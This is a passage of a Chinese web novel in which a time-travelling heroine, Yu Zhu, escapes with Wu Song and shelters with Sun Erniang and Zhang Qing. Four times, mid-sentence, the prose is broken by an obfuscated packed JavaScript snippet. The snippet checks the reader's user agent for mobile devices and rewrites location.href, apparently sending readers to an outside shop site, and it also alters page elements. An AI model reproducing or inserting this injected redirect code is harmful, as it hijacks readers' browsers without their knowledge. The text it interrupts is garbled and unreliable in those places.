二人便从原路返回,穿过后花园,绕道马院处,郁竺翻出自己藏着的包袱,在武松的帮助下翻过了院墙。 此时夜色已深,孟州城的街道上寂静无声。 武松与郁竺直奔孟州城女墙下,月光如水,将夜色中的两道黑影拉得长长的。 这孟州城本是个小城,又非边关,土砌的女墙可以算得上低矮。 武松身形矫健,借着朴刀,一个漂亮的撑杆,轻松跃上了城墙,待站稳后,转身伸手,一把郁竺也拉了上来。 已是十月中下旬,水泉枯竭,城濠里的水只剩下一尺多深。 武松就在濠堑边脱了鞋袜,解下护膝,将衣物卷在手中,毫不犹豫地跃入城濠内,淌着浅浅的水,向对岸走去。 郁竺也有样学样,只是这水刺骨,她刚下水就被冷得一个激灵,抬头看向武松,却和没事人似的,郁竺也只能咬咬牙跟上。 好不容易淌到了对岸,武松从包袱里取下两双八搭麻鞋,说是施恩送与他的。郁竺也没推辞,取了一双穿在脚下,又将湿鞋挤了挤,放在了随身带的包袱里。 武松看了,欲言又止,终究是将话吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022611|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去。 郁竺浑然不觉一般,也没有解释。二人便继续向东北方向奔去。 一夜无话,只顾着脚下的路,不知不觉已是四更。 第一缕晨曦悄然探出天际,郁竺这才发现二人走到了一座荒废的道观。 道观的大门半掩,门楣上斑驳的牌匾依稀可见“云隐观”三个大字,郁竺在记忆里搜索了下,不记得水浒传中提到此观,只得让系统打开地图,才知道自己此处依旧算孟州境内。 只是这里离都监府已经有很远一段距离,就算张夫人发现端倪,派人来追,一时半会儿也到不了这里。 武松有些泄下劲来,先前在孟州大牢里没少挨棍棒,这会儿棒疮复发,疼得厉害,加上疲惫了一晚,有些熬不住了,便要到观内休息一下。 郁竺也是头一回经历这样高强度的长途跋涉,自然是欣然同意。 走到观内,武松倚着墙靠了下来。借着晨曦的微光,郁竺发现他脸色惨白,唇色全无,这才想起来他身上还带着伤。 郁竺也顾不得此举会引起武松怀疑,伸手到袖袋里假装翻了翻,实则从系统里拿出金创药:“好汉有伤在身上,我这里带了药,暂且上了药,再做休息。” 武松此刻已经有些起了低烧,脑子迷迷糊糊的,听到“药”字,还是强撑起精神:“什么药,我瞧瞧。” “去腐生肌的金创药,对伤口最有好处。”郁竺拿着药给他闻了闻。 武松长久行走江湖,虽说不通药理,但闻了味道也确实没发现什么差错,此刻伤口又如烈火烹油,烧得他浑身疼痛难忍,且先前浸了冷水与汗水,他也知道再不处理,怕是铁打的身躯也扛不住,便不再拒绝,嘴里说出的话客气却冷硬:“如此,便有劳了。” 想了想,又补充道:“你也知道我曾两三拳打死一只老虎,若是我有什么好歹,就算我性命不保,也能……” 郁竺从未尽之语中听出了威胁的意思,倒没有生气,只是被“两三拳”逗笑了,心想,分明是拳脚并用,还打断了一个哨棒。 当然了,她才不会在此时揭武松的短,随即掩饰了笑意,道:“好汉放心,我若有心害你,为何先前要帮你呢?” 武松心想,她说得也有道理,便不再多言,趴着任由郁竺上药。 女子纤细的手指轻抚过,药粉被均匀地洒在伤口上,清清凉凉,灼烧的痛感瞬间被压了下去。 系统产出的神药,效果奇佳,不一会儿,武松就觉得自己发烫的额头温度下去一些,连带着头脑也清醒了许多。 一旁的郁竺上完药,净了手,从包袱里翻出硝石,又捡了些干柴生了个火堆,试图将半干的衣服烘得暖和些。 武松凝视着郁竺,火光在她的脸颊上跳跃,勾勒出与中秋之夜别无二致的轮廓,然而,神色与彼时却大相径庭。 中秋那夜的女子,容貌娇艳,眼含秋波,千言万语欲诉还休;而今这位,眉宇间透露出一种武松从未在女子身上见过的,沉稳冷静的超然气质。 他行走江湖,识人无数,断然不相信,一个人若非突遭变故,短时间会有这样的变化。 心里的疑惑终是憋不住,话在舌尖转了几圈,还是吐了出来。 “你到底是谁?” 5. 第 5 章 我是谁?或者说,我该以什么身份在这个时代生存? 这个问题,也是郁竺这些天一直在思考的。 宋代的户籍管理制度,在一定程度上是宽松的。 城市经济发达,人口流动性大,这就给郁竺创造了便利的条件——即便没有身份证明,也能以流民的身份生存,那她无需费劲心思去偷自己的“身份证”了。 只要编造出一个合理的出身背景,逃离都监府这个樊笼,就可以自由生长。 为此,郁竺这些天尝试着给自己编了不少人设——什么流落民间的高官子弟、隐世高人的关门弟子、因战乱与家人失散的皇族后裔……但这些都被她一一否掉。 编得越详细,越难以自圆其说,而且也不方便解释她前后巨大的变化——毕竟武松是见识过之前的玉兰的。 最终,郁竺还是选定了大众化的“失忆梗”,因为它恰到好处地留下了一片空白,让她可以在日后根据需要,随机应变地填充和完善自己的“过去”。 至于姓名,郁竺本是一个骄傲的人,她想让自己的名字,在这个时代留下一点印记。 于是,面对第一个“听众”武松提出的疑问,郁竺调整好状态,开始讲述自己已经完善了许多遍的腹稿。 “好汉可知,我本不叫玉兰。十岁那年,我被牙婆卖与都监府。因为是被人用药迷晕拐走的,醒来后,许多事情我都忘记了。” “不过近些时日,倒是时常能想起一些模糊的画面,虽然我也不知道那些画面到底是什么,但我至少记起了自己的姓名。” “我想我或许还有些亲人在世的,便想离了都监府出来找找,可我在都监府签的是终身典,他们哪里肯放。” 武松长期行走江湖,对于蒙汗药倒是了解一二,用药量太大的话,确实会有这个情况,甚至就此醒不过来的也有,又想起自己曾经在十字坡,也差点着了道……不过那都是往事了。 只见郁竺继续道:“先前,我也并不知道他们想陷害好汉,那晚听到声音,真以为花园有贼人,又因先前被许配给好汉,只想着叫好汉早些立些功,便指着好汉往那边去,哪知……” 之后的事情武松后来也都知道了,他点了点头,如此看来,这“玉兰”确实也是个无辜女子。 只是,她深受张都监养恩,张都监也不曾亏待于她,若是想要寻亲,就算主人不放,也不至于积怨至此,为何她能如此决绝行这背主之事? 郁竺像是知道武松在想什么似的,幽幽的撩起自己的袖子。 晨光朦胧下,武松看得不真切,之见白玉般的臂膊上斑驳交错着红痕。 未等他看清,郁竺就放下了袖子:“夫人嫉恨张都监偏爱于我,便经常暗示下人责打于我。且张都监虽说我最为心爱,其实还不是为了将我捧得高高的,好将我献出去,拉拢他想拉拢的人,我在这府中,也是不堪其苦……” “因此,我早就想悄悄逃离那处,只是孤身一人,也没本事翻墙爬壁,那阮进又日日来骚扰我。恰好那时好汉来了,我想到此前对不住你,如今你好不容易逃出生天,断不能叫你再身陷险境,便下了狠心……” 郁竺这话半真半假,红痕是她几个时辰前自己用胭脂擦上去的,张夫人待她其实不薄,因此,她引开张夫人,也是为了救她一命。 不过作为养娘,在主人眼里就是个玩意儿,要为不同的人提供“无偿陪侍”也是真的。 武松听了这话却感同身受,暗道这张都监着实可恶,陷害自己也是这一招——假意捧得高高的,再狠狠摔到地上,甚是虚伪。 想当初,张都监要替蒋门神夺回快活林,直接来找施恩便是,搞这些弯弯绕绕,实在不是大丈夫所为。 因此,此刻对郁竺倒是真的生了几分同病相怜的感受。 见武松被自己的说辞打动,郁竺继续乘胜出击:“我如今只想起来,我姓名本叫郁竺。郁,是郁郁葱葱的郁,竺,则取自天竺国的竺。只盼好汉能念及我先前的一些好处,暂且收留我,让我有个栖身之所。” 如今是个什么世道,郁竺心知肚明,官府欺压百姓,豪强横行霸道,她可不想“创业未半而中道崩殂”。 跟着武松,凭借他天花板级别的武力值,至少生命安全有所保证。 听完郁竺的讲述,武松一时不做声了。 朝暾初起,将道观染得金黄,这般好晨光,却衬得他心下却一片凄然。 良久,武松叹道:“梁园虽好,不是久恋之家,我如今也是飘萍之身,谈何收留。” 他想到自己在牢狱期间,施恩上下打点,几番出入死囚牢,已是仁至义尽。 且听闻前些日子,施老管营的身体每况愈下,如果没有父亲的助力,也不知施恩能不能将那快活林盘回来。自己若是这个时候去找他,岂不是给他平添麻烦。 郁竺虽不知道武松这会儿怎么想的,但她心里也有自己的盘算。 自己绑定的不是经商系统,而是名将系统,若是投奔施恩,能带兵打仗、完成系统任务的机会自然就不多。 此刻,她想到的是另外两个人,于是装作浑然不知地问武松:“好汉是打虎英雄,名声可谓如雷贯耳,可有结识过什么豪杰,能暂且避一避。” 经郁竺这么一说,武松想起张青孙二娘两人来:“我来孟州的路上,在十字坡倒是……” 话说了一半,却又想起孙二娘干的勾当,因此有些忌讳,一时犹豫住了,不知道该不该往下讲。 倒是郁竺兴致勃勃道:“十字坡?离这儿倒是不远,往东不过一天多的路程,好汉若是有熟人,我们投奔那处也不错。” 也罢,实在是无处落脚了。且有自己看着,郁竺也算和自己有过命的交情了,想必不会告发孙二娘。武松努力说服了自己,便点了点头。 一时无言。 郁竺将包袱里干硬的饼子拿出来,洒了些水,用树枝串着,在火上烤热了分给武松。 此前在去恩州的路上,两个公人对武松十分苛刻,一顿饭都不曾给,也就是昨天杀到鸳鸯楼,他才将那些残羹胡乱塞了几口填肚子,接着又是奔波一夜,此刻早已饥肠辘辘。 武松也不嫌饼子噎人,水都没喝,就囫囵吞了下去。暂且充饥后,终是忍不住悲从中来。 他自幼父母双亡,跟着哥哥艰苦度日,清河县的人都欺负他们。后来,靠自己的一双拳头,才没人敢来找麻烦。 自己打死老虎后,做了都头,日子过得风生水起。于是他更相信拳头说话,毕竟,这一切都是自己一拳一拳挣来的,不是吗? 那段时间,他也想好好做事,努力往上爬,让哥哥能过上好日子。于是他从不学那些游手好闲的人,每日都去县里画卯,承应差事,大雪天也不偷懒。 只可惜,哥哥遭人害了,自己也不能顾惜一己之身,替哥哥报了仇,遭流放,为此,他不后悔。 施恩待他好,如果是替施恩夺回快活林得罪了人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022612|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕丢了性命,他也无二话。 可是张都监骗了他,他是那样全心全意为张都监卖命,但是对方却想赶尽杀绝。 他的拳头如此强大,打得死老虎,打得趴蒋门神,却打不过张都监的蛇蝎心肠,打不散孟州道上上下下一片漆黑。 老天爷对他为何如此残酷? 在那些狗官眼里,他是贱命一条。难道在老天爷眼里,他也是风中草芥一般吗? 想着想着,武松冷硬的脸上,滚下一滴泪珠。 郁竺刚把火堆灭了,一抬眼就捕捉到武松面颊上挂着的泪痕。武松见状,连忙用手擦拭。 郁竺心下震动不小,自来到这个世界后,她始终以一种超然的姿态旁观着这里的一切,哪怕张都监等都是无比鲜活的人,也不免给她一种NPC般的疏离感。 自己穿越至今所做的一切,就是为了攻略武松这个“著名”的NPC,以求活命,才好徐徐图之,完成系统的任务。 她不记得原著中,除了武大郎离奇死亡,武松是否还哭过,只是这突如其来的一滴泪,确实叫她不知所措。 郁竺连忙低下头,假装专注地拨弄着火堆的余烬,嘴里却是安慰武松的话:“好汉切莫悲伤,俗话说否极泰来,这等磨难或许就是为了成就好汉……” 半响没有回音,郁竺抬起头,发现武松正盯着自己,像是想了很久一般,下定决心道:“以后也不必再称我好汉了,你我便结为异姓兄妹,兄妹相称如何?在这茫茫世间,你我皆是无根之人,若能彼此相互扶持,也算难得。” 武松要和自己结拜?郁竺简直喜出望外——武松这人虽然心肠冷硬,但是对于自己的亲人朋友,却能豁出命去保护。 用现在的话说,他属于那种“小圈范围内情感浓度极高”的人。 想到这里,郁竺哪有不答应的道理,张口就想喊声哥哥,脑子里却浮现出那些大汉对着宋江一口一个“哥哥”的场景,顿时觉得有些别扭,心里权衡了下,喊了声“兄长”。 武松点点头,道:“若是以往,你我结拜,需得杀鸡宰羊、祭拜天地神明,只是如今情况特殊,这等虚礼日后找机会补上就是。” 郁竺本身也不在意这些,她要的就是武松一个承诺,在这乱世中给自己的人身安全寻个保障,自是欣然同意。 又休息了片刻,日头已经高照,驱散了些冬日的寒意。 武松活动了下筋骨,已无什么不适的感觉,二人便离开云隐观,继续向东赶路。 在宋代,平民百姓赶路多用驴车。 然而武松和郁竺,一个在逃犯人,一个黑户,实在是没法租赁驴车,只能靠双腿走。 就这样,足足到十月二十的傍晚,二人才赶到十字坡。 十字坡是东平府至孟州及汴京至沧州两条官道的交叉路口,商业繁荣,人口稠密。 张青孙二娘的店,开在离十字坡有一段距离的庄上。 武松凭借着过人的记忆,终于在一片荒林中,找到了那株标志性的柳树。 那是一株四五人合抱不来老树,上面缠满了枯藤,光秃秃的枝条低垂着。 树旁有一条小溪,溪水在寒冷的天气中慵懒地流淌。 树下十数间草屋,最前头的那个草屋,门扉轻掩着,酒帘子在寒风中招摇。 当初树下那人,不见踪影。 武松思忖片刻,让郁竺等在树下,自己走上前,叩了叩门,高声道:“哥哥,嫂嫂可在?” 6. 第 6 章 走了两天路,全靠郁竺带的干饼子充饥,武松嘴里早已淡出鸟来,此刻正一口馒头、一口酱牛肉往嘴里猛塞,可谓风卷残云。 郁竺捧着菜团子小心翼翼地啃,一边还拿眼睛偷偷觑着武松——她不是不馋肉食,只是实在不放心是什么肉做的。 殊不知这小动作都落在了孙二娘的眼睛里。 她先是不做声,直径往酒缸那处走去,舀了两大碗酒,朝二人端来。走近后将酒碗重重地放在桌上,突然笑了一声道:“害!妹子这般小心,怕我给你下药不成。” 郁竺见被点破,讪讪地笑了下。 倒是武松,瞥了郁竺一眼,像是知道她在想什么似的,宽慰道:“放心吃,都是上好的牛肉。” 孙二娘见状,调笑起来:“数月不见武二兄弟,这般懂得怜香惜玉了,怎不见你先前对嫂嫂我有这般仔细?” 武松闻言,也大笑:“我对嫂嫂的仔细,怕是没人能比得过。” 郁竺听了,在一旁偷偷抿嘴,确实,武松若是对孙二娘不仔细,早就被包了人肉馒头了。 武松这会儿到了熟悉的环境,遇到了熟人,又是酒足饭饱,骤然放松下来,不曾再去注意郁竺的神色。 倒是孙二娘见郁竺笑起来,还以为武松将此前在十字坡的遭遇都告诉与她,心里不禁对郁竺的身份来历更好奇起来。 这边武松吃了二斤牛肉、十个馒头、十五酒,打了个响亮的嗝儿,正抹着嘴,一个中年男子,挑着一担柴,从门外进来。 郁竺见他头带青纱凹面巾,身着白布衫,三拳骨叉脸精瘦精瘦的,想必正是张青。 果不其然,他见到屋内的武松,旁边又有一陌生女子,连忙放下担着的柴,还不曾问郁竺来历,就对武松嘘寒问暖起来。 武松遭此变故,本也是满腔肺腑之言正待倾诉,只等张青坐定,就将自己去往孟州路上结识施恩、醉打蒋门神、义夺快活林、大闹飞云浦、血溅鸳鸯楼的事情一五一十地说了。 郁竺在旁边听着,不禁感叹武松其实蛮有说书天分的,这讲述起来,来龙去脉一清二楚,且详略得当,叫听者感同身受。 果然张青叹道:“我见贤弟一向无书信,只当是在孟州快活了,无事不寄书来,不期如此受苦。①” 武松摆摆手:“多亏了我妹子,不然武松早就叫那官兵捉住,拿去砍头了。” 见武松话语提及郁竺,张青这才将眼神分了一些给她。 只见郁竺容貌娇艳,虽说此前是富贵人家的养娘,可是手上半点老茧也无,显然是一点粗活都不干的。 张青不禁对郁竺的实际身份有了猜想,面上露出些不屑——一个女子,有何本事,武松兄弟何必将她夸得天花乱坠? 郁竺何尝看不出张青的鄙夷之色,只是她也是活了三十几年的人,论实际年龄不比在座的几位小,早已过了为这些小事动怒的年纪。 于是,郁竺平静地将自己编造的身世又说了一遍,随后,又将自己提前伪造通辽书信,并将趁机将书信放在阮进尸首上的事情一并道来。 “串通辽贼之事关乎重大,那牛皮袋是辽国遗留使常用的式样,又有书信这样至关重要的‘证据’在手,是抵赖不得的。” “孟州道的一众官员,深恐自身被牵连其中,自是不敢深入追查张都监离奇身亡的真相。他们巴不得尽快找到一个替罪羊,以便将此事匆匆了结,阮进就是最好的选择。” “故而,兄长那晚前去寻仇,即便留下些许蛛丝马迹,那些官员也定会刻意掩饰,力求将此事的规模缩小,乃至最终不了了之。” “至于兄长在飞云浦杀了四个人,更无需担忧,那里本就是荒郊野岭,都监府上又出了这等大事,他们怕是短时间内都顾不得了。” 将水搅得越浑,越有利于她和武松的脱身,这就是郁竺的目的。 你要问郁竺一个深闺女子,为何知道辽国遗留使常用东西的式样?又如何能模仿辽国官员的语气写一封书信? 自然是失忆了,自己也记不得如何习得这些技能了! 张青听罢,倒没有在意这些细枝末节,只是连连点头,神色早已不复之前的轻视,甚是敬佩道:“我当妹子娇滴滴的,不想却有这般好胆识。” 武松作为当事人之一,也是第一次听郁竺说起其中的细节,不禁暗暗感叹义妹的心思缜密。 但是他心思到底比旁人细腻,隐约感觉有些不得要领之处,一时不知该说些什么。 孙二娘很是直爽,此刻亦不再介怀郁竺此前不肯吃肉的行为,夸赞道:“妹子这名字起得好,果然不同凡响,真是玉做的竹子般玲珑剔透的人儿。” 郁竺一听就知道她意会错自己的姓名了,虽说名字只是一个代号,但是郁竺还是下意识解释道:“是‘馥郁’的郁,‘天竺国’的竺。” 孙二娘不明所以,但她也不是刨根问底的人,转而想到另一点,便提醒郁竺:“诶,妹子,你说你忘了身世,可这名字文绉绉的,想必是个官宦人家的女儿呢!不然似我们这等穷苦人家,都是大娘二娘称呼,哪里会取这么拗口的名字。” 经这么一提醒,郁竺倒是想起来了,自己这名字,用了三十多年,早已习惯了,却忽视了一个事实。 宋朝的女性,大多没有正名。极少数像李清照、朱淑真这样有正名字号的,得有相当的社会地位。 张青也在一旁附和:“是啊,姓郁的大户人家可不多,妹子可还记得自己是哪里人,该是好找的。” 不想自己随意攀扯的来历,竟让张青夫妻俩说出这么多门道。 郁竺一时不知该如何应答,武松看了看她的神色,解围道:“妹子想不起来便算了,若有缘分,自然会找到。” 孙二娘也连连称是:“便是找不到,一直住在嫂嫂这边也是无妨的,就把这儿当成自己的家。” 吃完饭、叙完旧,孙二娘麻利地烧了热水,满满两大桶,热气腾腾地拎到厨房里,给武松和郁竺洗澡用。 又特意从柜子里翻出了张青和自己从未穿过的干净衣物,衣物散发着淡淡的樟木味。 郁竺接过衣物,感激地看了孙二娘一眼。 趁二人分别沐浴更衣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怕郁竺不明白,孙二娘又补充道:“这些事儿,本是我当家的弄的,只不过他去庄上卖馒头了,等晚上回来,定要和武松兄弟喝酒,顾不到这些事情。上个月的月钱本就没发,这事儿要是拖久了,免不得人家伙计有意见。” 这倒是实情,郁竺点点头,又叫孙二娘将账本拿给她,问清了以往如何给伙计分月钱的,就埋头看起来。 孙二娘家的黑店有伙计这件事,书中提到过,除了两个在店里帮忙的,还有至少四个在外面找“食材”的。 只是此次来了一天,郁竺却没见到任何一个伙计,一问孙二娘才知道原因——入冬了,生意不好做,店里不需要那么多人手,前两天她才将人遣散的,让伙计们开春再来。 看来开黑店也要节约成本啊,郁竺一边感慨一番,一边一页一页细翻账本。 这翻着翻着,就发现有些不对劲了。 账本是张青做的,记的方式比较粗简,很多进项出项都没写明细。 但是,就从简单的加减也能看出,这家店收入情况——稳定的,金额不多;金额多的,却不稳定。 这好理解,卖包子不如抢劫赚钱,抢劫也不是每天都能抢到。 支出情况,却是一如既往地稳定且多。 这就有些诡异了。 孙二娘这店,做的可是无本生意,食材的成本忽略不计,伙计的月钱也算不得很多。 如此,还有什么支出,能占大头呢? 7. 第 7 章 郁竺压制住自己刨根问底的欲望,按照之前的分配比例,将两个伙计的月钱算好,然后将数字报给孙二娘。 孙二娘早已劈好柴火,又烧了一大锅面儿汤,喊武松郁竺一起吃饭。 武松毕竟伤筋动骨,身子有些疲乏,睡到日上三竿才醒,这会儿正顶着有些潦草的头发,呲溜呲溜地喝面儿汤。 郁竺也盛了一碗,那汤里半点荤腥也无,就是白水煮面片儿。 联想到快要“入不敷出”的账本,郁竺心下了然——昨天那顿大酒大肉恐怕是孙二娘特意厚待武松的,按照现在的生活条件,这种伙食才是常态。 “我和兄长在此叨扰,叫嫂子破费了。”喝了口汤,郁竺道。 孙二娘行走江湖多年,何尝听不出这话里的试探之意,郁竺早上刚看过账本,自然意有所指。 只不过她将武松看成自家兄弟,郁竺也就是自家妹子,便也没什么可隐瞒的,坦然道:“生意不好做,养的人又多,也是没办法,不过人生在世,将那黄白之物看重了也没意思,能糊口就行。” 武松奇道:“嫂子,你这处不就两个伙计,怎么说养的人多?” “兄弟不知,这人哪是那么容易捉到的,我这店名声在外,一个月里,了不得来一两个过路人,光靠这点不得饿死了。” 孙二娘丝毫不加掩饰,看了眼郁竺,继续道:“为此,我当家的将我爹留下来的人,和附近庄上一些青壮拢了起来,统共有二三十个。我们夫妻俩教他们些武艺,他们要是捉了人,就交给我们处理,我们也要定期给些佣钱他们。” 原来捉人小分队,竟有二三十个之多,其中还包括孙二娘的父亲孙元老儿留下的些强盗。 怪不得每个月都有一笔庞大的固定支出。 “这么多人知晓此事,嫂子不怕他们中有谁走漏了消息么?万一有人告发此事可怎么好?” 孙二娘这算是hei社会性质组织犯罪了,郁竺不免以一个现代人的思维替她担忧。 谁知孙二娘闻言竟然大笑了起来:“我的好妹妹,你这真是一身秀才病。他们都是附近庄上的人,谁会去告发?我当家的每天担着一箩筐人肉馒头去庄上卖,一个个的可抢不及呢。” “……他们知道是人肉馒头吗?”郁竺有些不可置信。 “怎的不知?”孙二娘理所当然道,“寻常牛肉馒头八文一个,猪肉馒头十二文一个,羊肉的,更要二十五文一个。我家馒头才卖五文一个,也就收些柴火本钱。” 这确实有些叫郁竺三观破碎,她讷讷道:“只是这人吃人,也太……” 这回孙二娘没说话,倒是一旁的武松开了口:“吃人也不是什么稀罕事,前些年孟州道洪灾,人肉还分档次呢,老瘦男子叫‘饶把火’,妇人青壮叫‘不羡羊’,小儿呼为‘和骨烂’。①” 孙二娘点点头,道:“还是我武二兄弟见多识广。” 郁竺不说话了,埋头吃面,热汤汤的东西吃下去,周身却一片冰凉。 水浒传里的黑店不少,郁竺印象中,吃人的更不在少数——前有王英燕顺他们吃人心肝醒酒汤,后有李逵炭烤李鬼小腿肉。 郁竺以前读这些时,只觉得残忍。直到今日设身处地,才发现,现实的血,其实已经被文字的墨冲淡了。 在实际中,岂是残忍二字可以概括的,分明就是惨绝人寰的恐怖。 可偏偏她现在什么也做不了,劝孙二娘金盆洗手? 那她有什么办法给这二三十人找到糊口的活计? 庄上人买不到便宜的肉馒头填饱肚子,那愤怒又该向谁发泄呢? 连武松这个差点成为受害人的,对此都无异议,她郁竺又凭什么反对呢? 孙二娘看出气氛不对,打圆场道:“妹子到底是心善,也不必为那些人可惜,都是些腌臜泼才,好汉我们是不杀的。” 郁竺闻言抬头笑了笑,她能感觉到孙二娘向自己释放的善意。 只是,作为一个出生在现代文明社会的人,郁竺始终认为,滥杀无辜是不对的、吃人是不对的。 她突然生出了一种从未有过的渴望——区别于系统任务奖励机制带来的——她希望让这个“吃人”世界变好,哪怕一点点。 想到这里,郁竺咽下了口中的食物,问孙二娘:“张大哥每日卖馒头的地方,去孟州城顺路吗?我想让他帮忙打探个消息。” “谈不上顺路,只是他也不时要去城里做些买卖,妹子要打听什么。”见郁竺不再纠结吃人的问题,孙二娘也松了口气。 “我想知道孟州州府是怎么处理张都监这事儿的,可有发什么公文告示之类,或者还有没有人再提到我兄长。” 这是和郁竺武松休戚相关的事情,孙二娘自然一口承应下来。 日子过得飞快,一转眼已到了冬月。 在孙二娘的精心照料下,武松的棒疮已经大好,伤势恢复后,便每天早起练习拳脚。 冬日里能干的事情本来就少,孙二娘跟着武松学拳脚功夫,张青天天出去卖馒头打听消息,郁竺就更闲了。 于是她问孙二娘要了些纸笔,闲来无事时一个人写写画画,写完就烧掉。 为此,武松还专门问过她在干什么。 郁竺只说自己是把想到的东西写下来,看看能不能想起些什么身世的事儿,又因担心写下的东西惹麻烦,索性烧了。 武松听了,未置可否,也不再过问。 其实郁竺是在构思自己的“名将之路”。 写写烧烧下,对于如何完成系统的任务,她心里有了两条比较明确的路。 北宋民风尚且算开放,程朱理学尚未冒头,立女户、在外谋生的女性不算少数,也算为郁竺提供了一定的便利。 她构想的第一条路,就是上梁山。 毕竟梁山前期战斗力是开挂的存在,大小战役胜利不少,郁竺借着先知和系统的帮助,刷刷经验应该也方便。只是她上了梁山,一定要整肃军纪,决不允许李逵之流滥杀无辜。 只是如今该怎么接近梁山,是一个问题。武松没了性命之忧,自然不会去投奔二龙山,以后三山聚义有没有他的份儿,也不知道。 武松和宋江倒是旧相识,等宋江上了梁山,直接走领导的路子上山应该可行。 不管怎样,尽管上梁山有不少实际操作层面的困难,但也不是不好克服,总体来说,不失为一个好的去处。 相比之下,她构想的第二条路,就有些难了。 要是能设法入朝为官,凭借着先知,斗杀奸臣,灭辽抗金,收复失地,一改靖康之耻的结局,然后执掌乾坤,让这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022614|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百姓都过上好日子…… 理想是很美好的,只不过如何入朝为官,郁竺没有一点路子。 所以,郁竺索性放弃了第二条路,仔细筹谋起第一条路来。 在谋划的过程中,郁竺将系统功能又反复看了几遍,发现其实还是有不少可以用的东西的,比如……玉容丹。 这个东西很神奇,可以修复脸上的一切瑕疵疤痕,要是用来卖的话一定大赚一笔。 只是,这和名将系统有什么关系呢? 对此,系统的回答是:“我们经过广泛充分的调研,发现有些毁容的武将,容易出现心理问题,才特意研发出此药。” 好吧,真是考虑周到。 至少这玩意儿献给宋江绝对管用,他最在意脸上的金印了。 正当郁竺在幻想着如何率领一百零八将叱咤风云时,张青带来了新的消息。 这天是十一月初二。 张青是头天下午进城的,因此晚上便没有回来。 第二天,天才蒙蒙亮,还在睡梦中的郁竺便被孙二娘拖出被窝:“妹子,不是不让你睡,只是事关身家性命,我当家的让喊你和武二兄弟一起来商量商量。” 孟州已算北方,北宋时的冬天比现世冷上许多,郁竺第一回过冬天没有羽绒服穿,孙二娘借她的棉衣也扛不住冷空气,因此她缩得跟个鹌鹑似的,被孙二娘提溜到前屋。 到了前屋一看,张青和武松已经坐下吃早饭了。 郁竺奇道,怎么这么早。 虽然现在已经有部分富贵人家一日三餐,但是大多数还是一日两餐。 比如郁竺在张都监家就是三餐,来了十字坡就变成两餐了。 因此她已经习惯了辰时一顿,申时一顿。 这么早吃饭倒是出乎意料。 郁竺伸手也拿了一个馒头,坐下开啃。 张青看了眼郁竺,没有说话,倒是武松先开了口。 “兄长昨日进城,打听得消息,原是我们走了没多久,那妇人就发现有异,却不敢声张,捱到天明时分,才着人到孟州府里告状,只说是府上一个叫阮进的亲随叛了辽国,身上搜出通敌文书为证。” “阮进因被害怕被人发现,便设计害死张都监等三人,却在逃跑的过程中,被家丁发现,打斗过程中,家丁不慎将阮进给杀了。” “知府听了大惊,火速差人下来,检验了尸首,告慰那妇人,又给张都监的大儿安排了个去处,因人犯已死,便就此结了案。” 当时布局匆忙,漏洞很多,郁竺却并不担心,因为自然有人会圆起来,只是她没想到是张夫人替她圆的。 看来这张夫人也不是一般女子,她与张蒙方夫妻情谊并不算深厚,张都监父母均已故去,且没有兄弟。 这样安排后,家财全是自己儿子的,体面结案后,儿子又能蒙受照顾,对于她来说是再好不过的结局,因此她才不会去追究这疑点重重。 她本是无辜之人,如今能安稳度日,郁竺也稍放心下来。 “只是……”武松迟疑了下。 还有只是?郁竺看向武松,心里涌起不祥的预感。 张青接过话头:“只是那张夫人说府上有个叫玉兰的养娘,是那阮进的姘头,偷了些金银逃跑了,全城贴了妹子你的像子,要抓你呢。” 8. 第 8 章 张青见郁竺不说话,继续道:“如今官司搜捕得仔细,早上正在城内排门挨户,找到此处,恐怕也就是几日的事情了。” 虽说郁竺对这个情况,有一定的心理准备,但是当一个现代守法好公民,真的上了古代通缉令时,还是忍不住叫人耳根发热,有些羞恼。 尤其此事的“罪魁祸首”,还是郁竺仔细为之考虑过后路的张夫人。 也罢也罢,自己终究是打算落草的人,上一上通缉令又何妨,玉兰是谁?反正不是我郁竺。 飞快地稳定住情绪,郁竺想到,这张通缉令,其实可以算推了她一把。 “如此来说,我就不能留在此处了,不然早晚连累张大哥和嫂子。”郁竺诚恳且带着点惆怅,道,“只是天下之大,我也不知道要去何处了。” 孙二娘和张青对视了一眼,直言道:“不是我们留不得妹子安身,只是这事必然要发,便想寻个好去处与你,只不知你肯不肯去?” 